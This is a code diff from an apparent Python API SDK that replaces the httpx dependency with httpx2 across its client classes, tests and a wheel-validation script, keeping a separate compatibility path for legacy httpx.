-http_client = httpx.Client(transport=httpx.MockTransport(handler), trust_env=False)
+http_client = httpx2.Client(transport=httpx2.MockTransport(handler), trust_env=False)
with OpenAI(
provider=bedrock(region="us-east-1", api_key="bearer-token"),
http_client=http_client,
) as client:
- client.get("/models", cast_to=httpx.Response)
+ client.get("/models", cast_to=httpx2.Response)
assert requests[0].headers["Authorization"] == "Bearer bearer-token"
assert not any(name == "botocore" or name.startswith("botocore.") for name in sys.modules)
sys.meta_path.remove(blocker)
requests.clear()
-http_client = httpx.Client(transport=httpx.MockTransport(handler), trust_env=False)
+http_client = httpx2.Client(transport=httpx2.MockTransport(handler), trust_env=False)
with OpenAI(
provider=bedrock(
region="us-east-1",
@@ -64,7 +64,7 @@ def handler(request):
),
http_client=http_client,
) as client:
- client.get("/models", cast_to=httpx.Response)
+ client.get("/models", cast_to=httpx2.Response)
assert "Credential=fixture-access-key/" in requests[0].headers["Authorization"]
assert requests[0].headers["X-Amz-Security-Token"] == "fixture-session-token"
diff --git a/scripts/utils/validate-httpx2-wheel.py b/scripts/utils/validate-httpx2-wheel.py
index e8b12147c9..8e0642efba 100644
--- a/scripts/utils/validate-httpx2-wheel.py
+++ b/scripts/utils/validate-httpx2-wheel.py
@@ -1,6 +1,7 @@
from __future__ import annotations
import os
+import re
import sys
import email
import zipfile
@@ -11,12 +12,20 @@
ROOT = Path(__file__).resolve().parents[2]
BASE_TEST = ROOT / "tests/test_httpx2_base.py"
HTTPX2_TEST = ROOT / "tests/test_httpx2.py"
+LEGACY_TEST = ROOT / "tests/test_httpx_compat.py"
def venv_python(environment_path: Path) -> Path:
return environment_path / ("Scripts/python.exe" if sys.platform == "win32" else "bin/python")
+def requirement_name(requirement: str) -> str:
+ match = re.match(r"[A-Za-z0-9_.-]+", requirement)
+ if match is None:
+ raise RuntimeError(f"Cannot determine the package name for {requirement!r}")
+ return match.group().replace("_", "-").lower()
+
+
def validate_metadata(wheel: Path) -> None:
with zipfile.ZipFile(wheel) as archive:
metadata_names = [name for name in archive.namelist() if name.endswith(".dist-info/METADATA")]
@@ -24,39 +33,40 @@ def validate_metadata(wheel: Path) -> None:
raise RuntimeError(f"Expected exactly one METADATA file in {wheel}, found: {metadata_names}")
metadata = email.message_from_bytes(archive.read(metadata_names[0]))
+ for name in ("LICENSE", "README.md", "FORK.md"):
+ if f"openai/_vendor/httpx_aiohttp/{name}" not in archive.namelist():
+ raise RuntimeError(f"The wheel omitted the vendored aiohttp adapter's {name}")
+
requirements = metadata.get_all("Requires-Dist", [])
base = [value for value in requirements if "extra ==" not in value]
- httpx2 = [value for value in requirements if "extra == 'httpx2'" in value]
aiohttp = [value for value in requirements if "extra == 'aiohttp'" in value]
+ extras = set(metadata.get_all("Provides-Extra", []))
if metadata["Requires-Python"] != ">=3.10":
raise RuntimeError(f"Expected Python >=3.10, found: {metadata['Requires-Python']}")
- if not any(value.startswith("httpx<1,>=0.23.0") for value in base):
- raise RuntimeError(f"Expected the base wheel to require HTTPX >=0.23.0,<1: {base}")
- if not any(value.startswith("anyio<5,>=3.5.0") for value in base):
- raise RuntimeError(f"Expected the base wheel to require AnyIO >=3.5.0,<5: {base}")
- if any(value.startswith("httpx2") for value in base):
- raise RuntimeError(f"HTTPX2 leaked into the base wheel requirements: {base}")
-
- for expected in ("httpx<1,>=0.25.1", "httpx2<3,>=2.7.0", "anyio<5,>=4.10.0"):
- if not any(value.startswith(expected) for value in httpx2):
- raise RuntimeError(f"Expected the HTTPX2 extra to require {expected}: {httpx2}")
- if any("python_version" in value for value in httpx2):
- raise RuntimeError(f"HTTPX2 requirements have redundant Python markers: {httpx2}")
-
+ for expected in ("httpx2<3,>=2.7.0", "anyio<5,>=4.10.0"):
+ if not any(value.startswith(expected) for value in base):
+ raise RuntimeError(f"Expected the base wheel to require {expected}: {base}")
+ if any(requirement_name(value) == "httpx" for value in requirements):
+ raise RuntimeError(f"Legacy HTTPX must not be installed by any SDK extra: {requirements}")
+ if any(requirement_name(value) == "httpx-aiohttp" for value in requirements):
+ raise RuntimeError(f"The aiohttp extra must not install the legacy adapter package: {requirements}")
+ if {"httpx", "httpx2"} & extras:
+ raise RuntimeError(f"HTTP client selection must not require or expose an SDK extra: {extras}")
if not any(value.startswith("aiohttp>=3.14.1") for value in aiohttp):
- raise RuntimeError(f"Expected the unchanged aiohttp requirement: {aiohttp}")
- if not any(value.startswith("httpx-aiohttp>=0.1.9") for value in aiohttp):
- raise RuntimeError(f"Expected the unchanged httpx-aiohttp requirement: {aiohttp}")
+ raise RuntimeError(f"Expected the aiohttp extra to require a patched aiohttp release: {aiohttp}")
-def run_case(wheel: Path, *, extra: str | None, tests: list[Path], dependencies: list[str]) -> None:
+def run_case(
+ wheel: Path, *, extra: str | None, tests: list[Path], dependencies: list[str], legacy: bool = False
+) -> None:
with tempfile.TemporaryDirectory(prefix="openai-httpx2-wheel-") as directory:
environment_path = Path(directory) / "venv"
subprocess.run([sys.executable, "-m", "venv", str(environment_path)], check=True)
python = venv_python(environment_path)
requirement = str(wheel.resolve()) if extra is None else f"{wheel.resolve()}[{extra}]"
environment = os.environ.copy()
+ environment.pop("PYTHONPATH", None)
environment.setdefault("PIP_DISABLE_CLIENT_CERTIFICATE", "1")
subprocess.run(
[str(python), "-m", "pip", "install", "--quiet", requirement, *dependencies],
@@ -64,9 +74,20 @@ def run_case(wheel: Path, *, extra: str | None, tests: list[Path], dependencies:
env=environment,
check=True,
)
+
+ if not legacy:
+ subprocess.run(
+ [str(python), "-c", "import importlib.util; assert importlib.util.find_spec('httpx') is None"],
+ cwd=directory,
+ env=environment,
+ check=True,
+ )
+
test_environment = environment.copy()
for name in ("ALL_PROXY", "HTTPS_PROXY", "HTTP_PROXY", "all_proxy", "https_proxy", "http_proxy"):
test_environment.pop(name, None)
+ if legacy:
+ test_environment["OPENAI_TEST_LEGACY_HTTPX"] = "1"
subprocess.run(
[str(python), "-m", "pytest", "-o", "addopts=", *(str(test) for test in tests)],
cwd=directory,
@@ -75,34 +96,6 @@ def run_case(wheel: Path, *, extra: str | None, tests: list[Path], dependencies:
)
-def assert_incompatible_pin_fails(wheel: Path) -> None:
- with tempfile.TemporaryDirectory(prefix="openai-httpx2-conflict-") as directory:
- environment_path = Path(directory) / "venv"
- subprocess.run([sys.executable, "-m", "venv", str(environment_path)], check=True)
- python = venv_python(environment_path)
- result = subprocess.run(
- [
- str(python),
- "-m",
- "pip",
- "install",
- "--no-input",
- f"{wheel.resolve()}[httpx2]",
- "httpx==0.25.0",
- ],
- cwd=directory,
- env=os.environ.copy(),
- capture_output=True,
- text=True,
- check=False,
- )
- if result.returncode == 0:
- raise RuntimeError("Expected openai[httpx2] with httpx==0.25.0 to fail dependency resolution")
- output = result.stdout + result.stderr
- if "ResolutionImpossible" not in output and "conflicting dependencies" not in output:
- raise RuntimeError(f"The incompatible resolution failed for an unexpected reason:\n{output}")
-
-
def main() -> None:
wheels = list((ROOT / "dist").glob("*.whl"))
if len(wheels) != 1:
@@ -110,32 +103,17 @@ def main() -> None:
wheel = wheels[0]
validate_metadata(wheel)
- common = ["pytest==8.4.1", "pytest-asyncio==1.1.0", "respx==0.22.0"]
- run_case(wheel, extra=None, tests=[BASE_TEST], dependencies=common)
- if sys.version_info[:2] == (3, 10):
- run_case(
- wheel,
- extra=None,
- tests=[BASE_TEST],
- dependencies=[
- "pytest==8.4.1",
- "pytest-asyncio==1.1.0",
- "respx==0.20.2",
- "httpx==0.23.0",
- "anyio==3.5.0",
- ],
- )
-
+ common = ["pytest==8.4.1", "pytest-asyncio==1.1.0"]
+ run_case(wheel, extra=None, tests=[BASE_TEST, HTTPX2_TEST], dependencies=common)
run_case(wheel, extra="aiohttp", tests=[BASE_TEST], dependencies=common)
- run_case(wheel, extra="httpx2", tests=[BASE_TEST, HTTPX2_TEST], dependencies=common)
run_case(
wheel,
- extra="httpx2",
- tests=[BASE_TEST, HTTPX2_TEST],
- dependencies=[*common, "httpx==0.25.1", "anyio==4.10.0", "pydantic<2", "botocore==1.42.97"],
+ extra=None,
+ tests=[LEGACY_TEST],
+ dependencies=[*common, "httpx-aiohttp>=0.2.0,<0.3"],
+ legacy=True,
)
- assert_incompatible_pin_fails(wheel)
- print("Validated base, aiohttp, native HTTPX2, supported floors, Pydantic modes, and resolver conflicts")
+ print("Validated HTTPX2-only base and aiohttp installs plus isolated legacy HTTPX/aiohttp compatibility")
if __name__ == "__main__":
diff --git a/src/openai/__init__.py b/src/openai/__init__.py
index d433ac4318..5a8621cf4c 100644
--- a/src/openai/__init__.py
+++ b/src/openai/__init__.py
@@ -130,7 +130,7 @@
import typing as _t
import typing_extensions as _te
-import httpx as _httpx
+import httpx2 as _httpx
from ._base_client import DEFAULT_TIMEOUT, DEFAULT_MAX_RETRIES
diff --git a/src/openai/_base_client.py b/src/openai/_base_client.py
index 10d7b9f7ca..b6e2f2839d 100644
--- a/src/openai/_base_client.py
+++ b/src/openai/_base_client.py
@@ -34,10 +34,10 @@
from typing_extensions import Unpack, Literal, override, get_origin
import anyio
-import httpx
import distro
+import httpx2
import pydantic
-from httpx import URL
+from httpx2 import URL
from pydantic import PrivateAttr
from . import _exceptions
@@ -67,12 +67,17 @@
from ._httpx2 import (
status_exceptions,
timeout_exceptions,
+ http_response_types,
normalize_httpx_url,
is_httpx2_sync_client,
normalize_httpx2_auth,
is_httpx2_async_client,
normalize_httpx_timeout,
normalize_httpx2_timeout,
+ is_legacy_httpx_sync_client,
+ normalize_legacy_httpx_auth,
+ is_legacy_httpx_async_client,
+ normalize_legacy_httpx_timeout,
)
from ._models import GenericModel, SecurityOptions, FinalRequestOptions, validate_type, construct_type
from ._response import (
@@ -117,14 +122,14 @@
_AsyncStreamT = TypeVar("_AsyncStreamT", bound=AsyncStream[Any])
if TYPE_CHECKING:
- from httpx._config import (
+ from httpx2._config import (
DEFAULT_TIMEOUT_CONFIG, # pyright: ignore[reportPrivateImportUsage]
)
HTTPX_DEFAULT_TIMEOUT = DEFAULT_TIMEOUT_CONFIG
else:
try:
- from httpx._config import DEFAULT_TIMEOUT_CONFIG as HTTPX_DEFAULT_TIMEOUT
+ from httpx2._config import DEFAULT_TIMEOUT_CONFIG as HTTPX_DEFAULT_TIMEOUT
except ImportError:
# taken from https://github.com/encode/httpx/blob/3ba5fe0d7ac70222590e759c31442b1cab263791/httpx/_config.py#L366
HTTPX_DEFAULT_TIMEOUT = Timeout(5.0)
@@ -207,9 +212,9 @@ def next_page_info(self) -> Optional[PageInfo]: ...
def _get_page_items(self) -> Iterable[_T]: # type: ignore[empty-body]
...
- def _params_from_url(self, url: URL) -> httpx.QueryParams:
+ def _params_from_url(self, url: URL) -> httpx2.QueryParams:
# TODO: do we have to preprocess params here?
- return httpx.QueryParams(cast(Any, self._options.params)).merge(url.params)
+ return httpx2.QueryParams(cast(Any, self._options.params)).merge(url.params)
def _info_to_options(self, info: PageInfo) -> FinalRequestOptions:
options = model_copy(self._options)
@@ -371,7 +376,7 @@ async def get_next_page(self: AsyncPageT) -> AsyncPageT:
return await self._client._request_api_list(self._model, page=self.__class__, options=options)
-_HttpxClientT = TypeVar("_HttpxClientT", bound=Union[httpx.Client, httpx.AsyncClient])
+_HttpxClientT = TypeVar("_HttpxClientT", bound=Union[httpx2.Client, httpx2.AsyncClient])
_DefaultStreamT = TypeVar("_DefaultStreamT", bound=Union[Stream[Any], AsyncStream[Any]])
@@ -418,7 +423,7 @@ def _enforce_trailing_slash(self, url: URL) -> URL:
def _make_status_error_from_response(
self,
- response: httpx.Response,
+ response: httpx2.Response,
) -> APIStatusError:
if response.is_closed and not response.is_stream_consumed:
# We can't read the response body as it has been closed
@@ -443,7 +448,7 @@ def _make_status_error(
err_msg: str,
*,
body: object,
- response: httpx.Response,
+ response: httpx2.Response,
) -> _exceptions.APIStatusError:
raise NotImplementedError()
@@ -462,16 +467,16 @@ def _auth_query(
def _custom_auth(
self,
security: SecurityOptions, # noqa: ARG002
- ) -> httpx.Auth | None:
+ ) -> httpx2.Auth | None:
return None
- def _build_headers(self, options: FinalRequestOptions, *, retries_taken: int = 0) -> httpx.Headers:
+ def _build_headers(self, options: FinalRequestOptions, *, retries_taken: int = 0) -> httpx2.Headers:
custom_headers = options.headers or {}
headers_dict = _merge_mappings({**self._auth_headers(options.security), **self.default_headers}, custom_headers)
self._validate_headers(headers_dict, custom_headers)
# headers are case-insensitive while dictionaries are not.
- headers = httpx.Headers(headers_dict)
+ headers = httpx2.Headers(headers_dict)
idempotency_header = self._idempotency_header
if idempotency_header and options.idempotency_key and idempotency_header not in headers:
@@ -514,7 +519,7 @@ def _build_request(
options: FinalRequestOptions,
*,
retries_taken: int = 0,
- ) -> httpx.Request:
+ ) -> httpx2.Request:
if log.isEnabledFor(logging.DEBUG):
log.debug(
"Request options: %s",
@@ -604,11 +609,11 @@ def _build_request(
kwargs.pop("data", None)
timeout = self.timeout if isinstance(options.timeout, NotGiven) else options.timeout
- request_url: str | URL = prepared_url
- request_headers: httpx.Headers | list[tuple[str, str]] = headers
- if is_httpx2_sync_client(self._client) or is_httpx2_async_client(self._client):
- request_url = str(prepared_url)
- request_headers = list(headers.multi_items())
+ request_url = str(prepared_url)
+ request_headers = list(headers.multi_items())
+ if is_legacy_httpx_sync_client(self._client) or is_legacy_httpx_async_client(self._client):
+ timeout = normalize_legacy_httpx_timeout(timeout)
+ else:
timeout = normalize_httpx2_timeout(timeout)
# TODO: report this error to httpx
@@ -672,7 +677,7 @@ def _maybe_override_cast_to(self, cast_to: type[ResponseT], options: FinalReques
return cast_to
- def _should_stream_response_body(self, request: httpx.Request) -> bool:
+ def _should_stream_response_body(self, request: httpx2.Request) -> bool:
return request.headers.get(RAW_RESPONSE_HEADER) == "stream" # type: ignore[no-any-return]
def _process_response_data(
@@ -680,7 +685,7 @@ def _process_response_data(
*,
data: object,
cast_to: type[ResponseT],
- response: httpx.Response,
+ response: httpx2.Response,
) -> ResponseT:
if data is None:
return cast(ResponseT, None)
@@ -704,7 +709,7 @@ def qs(self) -> Querystring:
return Querystring()
@property
- def custom_auth(self) -> httpx.Auth | None:
+ def custom_auth(self) -> httpx2.Auth | None:
return None
@property
@@ -756,7 +761,7 @@ def platform_headers(self) -> Dict[str, str]:
# https://github.com/python/cpython/issues/88476
return platform_headers(self._version, platform=self._platform)
- def _parse_retry_after_header(self, response_headers: Optional[httpx.Headers] = None) -> float | None:
+ def _parse_retry_after_header(self, response_headers: Optional[httpx2.Headers] = None) -> float | None:
"""Returns a float of the number of seconds (not milliseconds) to wait after retrying, or None if unspecified.
About the Retry-After header: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Retry-After
@@ -798,7 +803,7 @@ def _calculate_retry_timeout(
self,
remaining_retries: int,
options: FinalRequestOptions,
- response_headers: Optional[httpx.Headers] = None,
+ response_headers: Optional[httpx2.Headers] = None,
) -> float:
max_retries = options.get_max_retries(self.max_retries)
@@ -818,7 +823,7 @@ def _calculate_retry_timeout(
timeout = sleep_seconds * jitter
return timeout if timeout >= 0 else 0
- def _should_retry(self, response: httpx.Response) -> bool:
+ def _should_retry(self, response: httpx2.Response) -> bool:
retry_after = self._parse_retry_after_header(response.headers)
if retry_after is not None and math.isfinite(retry_after) and retry_after > MAX_RETRY_AFTER_DELAY:
log.debug(
@@ -866,7 +871,7 @@ def _idempotency_key(self) -> str:
return f"stainless-python-retry-{uuid.uuid4()}"
-class _DefaultHttpxClient(httpx.Client):
+class _DefaultHttpxClient(httpx2.Client):
def __init__(self, **kwargs: Any) -> None:
kwargs.setdefault("timeout", DEFAULT_TIMEOUT)
kwargs.setdefault("limits", DEFAULT_CONNECTION_LIMITS)
@@ -875,12 +880,12 @@ def __init__(self, **kwargs: Any) -> None:
if TYPE_CHECKING:
- DefaultHttpxClient = httpx.Client
- """An alias to `httpx.Client` that provides the same defaults that this SDK
+ DefaultHttpxClient = httpx2.Client
+ """An alias to `httpx2.Client` that provides the same defaults that this SDK
uses internally.
This is useful because overriding the `http_client` with your own instance of
- `httpx.Client` will result in httpx's defaults being used, not ours.
+ `httpx2.Client` will result in HTTPX2's defaults being used, not ours.
"""
else:
DefaultHttpxClient = _DefaultHttpxClient
@@ -897,8 +902,8 @@ def __del__(self) -> None:
pass
-class SyncAPIClient(BaseClient[httpx.Client, Stream[Any]]):
- _client: httpx.Client
+class SyncAPIClient(BaseClient[httpx2.Client, Stream[Any]]):
+ _client: httpx2.Client
_default_stream_cls: type[Stream[Any]] | None = None
def __init__(
@@ -908,7 +913,7 @@ def __init__(
base_url: str | URL,
max_retries: int = DEFAULT_MAX_RETRIES,
timeout: float | Timeout | None | NotGiven = not_given,
- http_client: httpx.Client | None = None,
+ http_client: httpx2.Client | None = None,
custom_headers: Mapping[str, str] | None = None,
custom_query: Mapping[str, object] | None = None,
_strict_response_validation: bool,
@@ -930,7 +935,7 @@ def __init__(
if (
http_client is not None
and not is_httpx2_sync_client(http_client)
- and not isinstance(http_client, httpx.Client) # pyright: ignore[reportUnnecessaryIsInstance]
+ and not is_legacy_httpx_sync_client(http_client)
):
raise TypeError(
"Invalid `http_client` argument; Expected an instance of `httpx.Client` or `httpx2.Client` "
@@ -986,7 +991,7 @@ def _prepare_options(
def _prepare_request(
self,
- request: httpx.Request, # noqa: ARG002
+ request: httpx2.Request, # noqa: ARG002
) -> None:
"""This method is used as a callback for mutating the `Request` object
after it has been constructed.
@@ -997,11 +1002,11 @@ def _prepare_request(
def _send_request(
self,
- request: httpx.Request,
+ request: httpx2.Request,
*,
stream: bool,
**kwargs: Unpack[HttpxSendArgs],
- ) -> httpx.Response:
+ ) -> httpx2.Response:
return self._client.send(request, stream=stream, **kwargs)
@overload
@@ -1051,7 +1056,7 @@ def request(
# ensure the idempotency key is reused between requests
input_options.idempotency_key = self._idempotency_key()
- response: httpx.Response | None = None
+ response: httpx2.Response | None = None
max_retries = input_options.get_max_retries(self.max_retries)
retries_taken = 0
@@ -1067,7 +1072,9 @@ def request(
custom_auth = self._custom_auth(options.security)
if custom_auth is not None:
kwargs["auth"] = (
- normalize_httpx2_auth(custom_auth) if is_httpx2_sync_client(self._client) else custom_auth
+ normalize_httpx2_auth(custom_auth)
+ if is_httpx2_sync_client(self._client)
+ else normalize_legacy_httpx_auth(custom_auth)
)
if options.follow_redirects is not None:
@@ -1160,7 +1167,7 @@ def request(
)
def _sleep_for_retry(
- self, *, retries_taken: int, max_retries: int, options: FinalRequestOptions, response: httpx.Response | None
+ self, *, retries_taken: int, max_retries: int, options: FinalRequestOptions, response: httpx2.Response | None
) -> None:
remaining_retries = max_retries - retries_taken
if remaining_retries == 1:
@@ -1178,7 +1185,7 @@ def _process_response(
*,
cast_to: Type[ResponseT],
options: FinalRequestOptions,
- response: httpx.Response,
+ response: httpx2.Response,
stream: bool,
stream_cls: type[Stream[Any]] | type[AsyncStream[Any]] | None,
retries_taken: int = 0,
@@ -1224,7 +1231,7 @@ def _process_response(
),
)
- if cast_to == httpx.Response:
+ if cast_to in http_response_types():
return cast(ResponseT, response)
api_response = APIResponse(
@@ -1461,7 +1468,7 @@ def get_api_list(
return self._request_api_list(model, page, opts)
-class _DefaultAsyncHttpxClient(httpx.AsyncClient):
+class _DefaultAsyncHttpxClient(httpx2.AsyncClient):
def __init__(self, **kwargs: Any) -> None:
kwargs.setdefault("timeout", DEFAULT_TIMEOUT)
kwargs.setdefault("limits", DEFAULT_CONNECTION_LIMITS)
@@ -1469,43 +1476,40 @@ def __init__(self, **kwargs: Any) -> None:
super().__init__(**kwargs)
-if sys.version_info < (3, 10):
+_DefaultAioHttpClient: type[httpx2.AsyncClient]
+
+try:
+ from ._vendor.httpx_aiohttp import Httpx2AiohttpClient
+except ImportError:
- class _DefaultAioHttpClient(httpx.AsyncClient):
+ class _MissingAioHttpClient(httpx2.AsyncClient):
def __init__(self, **_kwargs: Any) -> None:
- raise RuntimeError("The aiohttp client requires Python 3.10 or later")
-else:
- try:
- import httpx_aiohttp
- except ImportError:
+ raise RuntimeError("To use the aiohttp client you must have installed the package with the `aiohttp` extra")
- class _DefaultAioHttpClient(httpx.AsyncClient):
- def __init__(self, **_kwargs: Any) -> None:
- raise RuntimeError(
- "To use the aiohttp client you must have installed the package with the `aiohttp` extra"
- )
- else:
+ _DefaultAioHttpClient = _MissingAioHttpClient
+else:
- class _DefaultAioHttpClient(httpx_aiohttp.HttpxAiohttpClient): # type: ignore
- def __init__(self, **kwargs: Any) -> None:
- kwargs.setdefault("timeout", DEFAULT_TIMEOUT)
- kwargs.setdefault("limits", DEFAULT_CONNECTION_LIMITS)
- kwargs.setdefault("follow_redirects", True)
+ class _InstalledAioHttpClient(Httpx2AiohttpClient):
+ def __init__(self, **kwargs: Any) -> None:
+ kwargs.setdefault("timeout", DEFAULT_TIMEOUT)
+ kwargs.setdefault("limits", DEFAULT_CONNECTION_LIMITS)
+ kwargs.setdefault("follow_redirects", True)
+ super().__init__(**kwargs)
- super().__init__(**kwargs)
+ _DefaultAioHttpClient = _InstalledAioHttpClient
if TYPE_CHECKING:
- DefaultAsyncHttpxClient = httpx.AsyncClient
- """An alias to `httpx.AsyncClient` that provides the same defaults that this SDK
+ DefaultAsyncHttpxClient = httpx2.AsyncClient
+ """An alias to `httpx2.AsyncClient` that provides the same defaults that this SDK
uses internally.
This is useful because overriding the `http_client` with your own instance of
- `httpx.AsyncClient` will result in httpx's defaults being used, not ours.
+ `httpx2.AsyncClient` will result in HTTPX2's defaults being used, not ours.
"""
- DefaultAioHttpClient = httpx.AsyncClient
- """An alias to `httpx.AsyncClient` that changes the default HTTP transport to `aiohttp`."""
+ DefaultAioHttpClient = httpx2.AsyncClient
+ """An alias to `httpx2.AsyncClient` that changes the default HTTP transport to `aiohttp`."""
else:
DefaultAsyncHttpxClient = _DefaultAsyncHttpxClient
DefaultAioHttpClient = _DefaultAioHttpClient
@@ -1523,8 +1527,8 @@ def __del__(self) -> None:
pass
-class AsyncAPIClient(BaseClient[httpx.AsyncClient, AsyncStream[Any]]):
- _client: httpx.AsyncClient
+class AsyncAPIClient(BaseClient[httpx2.AsyncClient, AsyncStream[Any]]):
+ _client: httpx2.AsyncClient
_default_stream_cls: type[AsyncStream[Any]] | None = None
def __init__(
@@ -1535,7 +1539,7 @@ def __init__(
_strict_response_validation: bool,
max_retries: int = DEFAULT_MAX_RETRIES,
timeout: float | Timeout | None | NotGiven = not_given,
- http_client: httpx.AsyncClient | None = None,
+ http_client: httpx2.AsyncClient | None = None,
custom_headers: Mapping[str, str] | None = None,
custom_query: Mapping[str, object] | None = None,
) -> None:
@@ -1556,7 +1560,7 @@ def __init__(
if (
http_client is not None
and not is_httpx2_async_client(http_client)
- and not isinstance(http_client, httpx.AsyncClient) # pyright: ignore[reportUnnecessaryIsInstance]
+ and not is_legacy_httpx_async_client(http_client)
):
raise TypeError(
"Invalid `http_client` argument; Expected an instance of `httpx.AsyncClient` or "
@@ -1609,7 +1613,7 @@ async def _prepare_options(
async def _prepare_request(
self,
- request: httpx.Request, # noqa: ARG002
+ request: httpx2.Request, # noqa: ARG002
) -> None:
"""This method is used as a callback for mutating the `Request` object
after it has been constructed.
@@ -1620,11 +1624,11 @@ async def _prepare_request(
async def _send_request(
self,
- request: httpx.Request,
+ request: httpx2.Request,
*,
stream: bool,
**kwargs: Unpack[HttpxSendArgs],
- ) -> httpx.Response:
+ ) -> httpx2.Response:
return await self._client.send(request, stream=stream, **kwargs)
@overload
@@ -1679,7 +1683,7 @@ async def request(
# ensure the idempotency key is reused between requests
input_options.idempotency_key = self._idempotency_key()
- response: httpx.Response | None = None
+ response: httpx2.Response | None = None
max_retries = input_options.get_max_retries(self.max_retries)
retries_taken = 0
@@ -1696,7 +1700,7 @@ async def request(
kwargs["auth"] = (
normalize_httpx2_auth(self.custom_auth)
if is_httpx2_async_client(self._client)
- else self.custom_auth
+ else normalize_legacy_httpx_auth(self.custom_auth)
)
if options.follow_redirects is not None:
@@ -1789,7 +1793,7 @@ async def request(
)
async def _sleep_for_retry(
- self, *, retries_taken: int, max_retries: int, options: FinalRequestOptions, response: httpx.Response | None
+ self, *, retries_taken: int, max_retries: int, options: FinalRequestOptions, response: httpx2.Response | None
) -> None:
remaining_retries = max_retries - retries_taken
if remaining_retries == 1:
@@ -1807,7 +1811,7 @@ async def _process_response(
*,
cast_to: Type[ResponseT],
options: FinalRequestOptions,
- response: httpx.Response,
+ response: httpx2.Response,
stream: bool,
stream_cls: type[Stream[Any]] | type[AsyncStream[Any]] | None,
retries_taken: int = 0,
@@ -1853,7 +1857,7 @@ async def _process_response(
),
)
- if cast_to == httpx.Response:
+ if cast_to in http_response_types():
return cast(ResponseT, response)
api_response = AsyncAPIResponse(
@@ -2090,7 +2094,7 @@ def make_request_options(
extra_query: Query | None = None,
extra_body: Body | None = None,
idempotency_key: str | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
post_parser: PostParser | NotGiven = not_given,
security: SecurityOptions | None = None,
synthesize_event_and_data: bool | None = None,
diff --git a/src/openai/_client.py b/src/openai/_client.py
index a12a871f18..5f980c8cb6 100644
--- a/src/openai/_client.py
+++ b/src/openai/_client.py
@@ -6,7 +6,7 @@
from typing import TYPE_CHECKING, Any, Mapping, Callable, Awaitable
from typing_extensions import Self, Unpack, override
-import httpx
+import httpx2
from . import _exceptions
from ._qs import Querystring
@@ -117,7 +117,7 @@ class OpenAI(SyncAPIClient):
_provider: _Provider | None
_provider_runtime: _ProviderRuntime | None
- websocket_base_url: str | httpx.URL | None
+ websocket_base_url: str | httpx2.URL | None
"""Base URL for WebSocket connections.
If not specified, the default base URL will be used, with 'wss://' replacing the
@@ -135,16 +135,16 @@ def __init__(
project: str | None = None,
webhook_secret: str | None = None,
provider: _Provider | None = None,
- base_url: str | httpx.URL | None = None,
- websocket_base_url: str | httpx.URL | None = None,
+ base_url: str | httpx2.URL | None = None,
+ websocket_base_url: str | httpx2.URL | None = None,
timeout: float | Timeout | None | NotGiven = not_given,
max_retries: int = DEFAULT_MAX_RETRIES,
default_headers: Mapping[str, str] | None = None,
default_query: Mapping[str, object] | None = None,
- # Configure a custom httpx client.
+ # Configure a custom httpx2 client.
# We provide a `DefaultHttpxClient` class that you can pass to retain the default values we use for `limits`, `timeout` & `follow_redirects`.
- # See the [httpx documentation](https://www.python-httpx.org/api/#client) for more details.
- http_client: httpx.Client | None = None,
+ # See the [httpx2 documentation](https://httpx2.pydantic.dev/api/#client) for more details.
+ http_client: httpx2.Client | None = None,
# Enable or disable schema validation for data returned by the API.
# When enabled an error APIResponseValidationError is raised
# if the API responds with invalid data for the expected schema.
@@ -452,12 +452,12 @@ def qs(self) -> Querystring:
def _send_with_auth_retry(
self,
- request: httpx.Request,
+ request: httpx2.Request,
*,
stream: bool,
retried: bool = False,
**kwargs: Unpack[HttpxSendArgs],
- ) -> httpx.Response:
+ ) -> httpx2.Response:
used_workload_identity_auth = False
if self._workload_identity_auth is not None:
@@ -483,11 +483,11 @@ def _send_with_auth_retry(
@override
def _send_request(
self,
- request: httpx.Request,
+ request: httpx2.Request,
*,
stream: bool,
**kwargs: Unpack[HttpxSendArgs],
- ) -> httpx.Response:
+ ) -> httpx2.Response:
response = self._send_with_auth_retry(request, stream=stream, **kwargs)
if self._provider_runtime is not None and self._provider_runtime.normalize_response is not None:
response = self._provider_runtime.normalize_response(response)
@@ -566,14 +566,14 @@ def _prepare_options(self, options: FinalRequestOptions) -> FinalRequestOptions:
return super()._prepare_options(options)
@override
- def _prepare_request(self, request: httpx.Request) -> None:
+ def _prepare_request(self, request: httpx2.Request) -> None:
if self._provider_runtime is not None and self._provider_runtime.prepare_request is not None:
self._provider_runtime.prepare_request(request)
@override
- def _custom_auth(self, security: SecurityOptions) -> httpx.Auth | None:
+ def _custom_auth(self, security: SecurityOptions) -> httpx2.Auth | None:
if self._provider_runtime is not None:
- return httpx.Auth()
+ return httpx2.Auth()
return super()._custom_auth(security)
@@ -593,10 +593,10 @@ def copy(
organization: str | None = None,
project: str | None = None,
webhook_secret: str | None = None,
- websocket_base_url: str | httpx.URL | None = None,
- base_url: str | httpx.URL | None = None,
+ websocket_base_url: str | httpx2.URL | None = None,
+ base_url: str | httpx2.URL | None = None,
timeout: float | Timeout | None | NotGiven = not_given,
- http_client: httpx.Client | None = None,
+ http_client: httpx2.Client | None = None,
max_retries: int | NotGiven = not_given,
default_headers: Mapping[str, str] | None = None,
set_default_headers: Mapping[str, str] | None = None,
@@ -682,7 +682,7 @@ def _make_status_error(
err_msg: str,
*,
body: object,
- response: httpx.Response,
+ response: httpx2.Response,
) -> APIStatusError:
data = body.get("error", body) if is_mapping(body) else body
if response.status_code == 400:
@@ -723,7 +723,7 @@ class AsyncOpenAI(AsyncAPIClient):
_provider: _Provider | None
_provider_runtime: _ProviderRuntime | None
- websocket_base_url: str | httpx.URL | None
+ websocket_base_url: str | httpx2.URL | None
"""Base URL for WebSocket connections.
If not specified, the default base URL will be used, with 'wss://' replacing the
@@ -741,16 +741,16 @@ def __init__(
project: str | None = None,
webhook_secret: str | None = None,
provider: _Provider | None = None,
- base_url: str | httpx.URL | None = None,
- websocket_base_url: str | httpx.URL | None = None,
+ base_url: str | httpx2.URL | None = None,
+ websocket_base_url: str | httpx2.URL | None = None,
timeout: float | Timeout | None | NotGiven = not_given,
max_retries: int = DEFAULT_MAX_RETRIES,
default_headers: Mapping[str, str] | None = None,
default_query: Mapping[str, object] | None = None,
- # Configure a custom httpx client.
+ # Configure a custom httpx2 client.
# We provide a `DefaultAsyncHttpxClient` class that you can pass to retain the default values we use for `limits`, `timeout` & `follow_redirects`.
- # See the [httpx documentation](https://www.python-httpx.org/api/#asyncclient) for more details.
